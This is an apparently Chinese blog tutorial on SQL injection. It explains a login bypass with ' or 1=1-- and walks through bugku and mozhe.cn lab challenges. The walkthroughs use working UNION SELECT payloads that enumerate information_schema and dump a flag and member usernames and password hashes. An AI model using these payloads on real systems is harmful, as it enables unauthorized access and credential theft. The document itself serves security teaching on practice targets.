Sql就是数据库的结构化查询语言

Sql注入,就是将任意sql语句插入数据库进行查询,通过执行恶意SQL语句,从而得到想要的信息
原理就是通过输入的内容来修改sql语句,使之违背原计划的功能

比如一个登陆界面

在这里插入图片描述

他的sql语句为
Select * from admin where username=’a’ and password=’b’
我们在用户名那栏输入的内容为a,在密码那栏输入的内容为b,当我们输入正确用户名和密码时才会登陆
当我们在用户名那里输入’ or 1=1-- 时也能登陆成功,这时这句sql语句就变成了
Select * from admin where username=’’ or 1=1-- ’ and password=’b’
虽然username的内容为空,但是跟了个or语句,1=1永远成立,而后面又跟了个注释符号把后面的语句给注释掉了,那sql语句就可以理解为
Select * from admin where 1
所以能成功登陆


bugku上的一题

首先判断有无注入点

正常输入1时
在这里插入图片描述

当我们输入1’时,发现返回有问题
在这里插入图片描述

说明存在注入点
来看一条sql语句
Select * from flag where id=’1’
我们输入的内容就是id后面的这个1,但当我们输入1’时就变成了id=’1’’多了一个单引号,所以会报错
那我们怎么让他正确呢,输入1’-- (注意--后面有1个空格,这表示注释,也可以用#)
在这里插入图片描述

接下来我们就要判断究竟有几个字段(就是这个表有几列)

先来了解一下order by 语句
在这里插入图片描述
如果order by 后面跟的是数字,如order by 1意思就是按第1列排序
所以我们就可以通过order by来判断字段数

输入1’ order by 1-- 回显正常,2,3,4,时都正常,当到5时发现报错,说明一共就4个字段

接下来我们要查询这个数据库的一些信息

这里要用到union(联合查询)
来看两条联合查询语句
select * from users where id=1 union select id,username,password from users where id=2
在这里插入图片描述select * from users where id=1 union select 1,2,3
在这里插入图片描述

然后我们输入-1’ union select 1,2,3,4-- (注意这里id必须为不存在的数值)
在这里插入图片描述
接着输入
-1' union select 1,2,3,concat_ws('~',database(),user(),version())--
在这里插入图片描述
Database()为当前数据库名字,uesr()为当前用户,version()为版本
可以看到数据库名为skctf_flag

那接下来就是从数据库中获取表名

information_schema.schemata包含所有数据库的名
information_schema.tables包含所有库的表名
information_schema.columns包含所有表的字段
table_schema 数据库名称
table_name 表名
column_name 列名
schema_name 数据库名


在这里插入图片描述
输入
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'--
在这里插入图片描述
可以发现有两张表,flag肯定是在fl4g里

那接下来就是从表中获取列名

输入
-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=’ fl4g’--
在这里插入图片描述

最后知道列名后直接查询

输入
-1' union select 1,2,3,group_concat(skctf_flag) from fl4g--
在这里插入图片描述


墨者学院里的sql注入
https://www.mozhe.cn/bug/detail/82

先判断注入点

在这里插入图片描述
看到有个通知点进去,有个id=1,猜测是注入点
在这里插入图片描述
输个'进去
在这里插入图片描述
报错了,看来确实是注入点

开始判断字段数

在这里插入图片描述
1,2,3,4一个个试,到5时报错,说明只有4个字段

接着开始查库名

在这里插入图片描述这里给大家看看这里两种查库名的区别

第1种

id=2 union select 1,2,database(),4
在这里插入图片描述

第2种

id=2 union select 1,2,group_concat(schema_name) ,4 from information_schema.schemata
在这里插入图片描述
可以看到有好几个库名,先来看mozhe_Discuz_StormGroup

接着查表名

id=2 union select 1,2,group_concat(table_name) ,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
在这里插入图片描述
查到两个表名

接着查列名

id=2 union select 1,2,group_concat(column_name) ,4 from information_schema.columns where table_name='StormGroup_member'
在这里插入图片描述
有name和password,只剩最后一步了

查name和password里的内容

id=2 union select 1,2,group_concat(name,password) ,4 from StormGroup_member
在这里插入图片描述
查询到了两个密码,md5解密后发现第1个密码不对,第2个才是正确密码
在这里插入图片描述

所以账号就是mozhe,密码为292411
登入成功
在这里插入图片描述

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏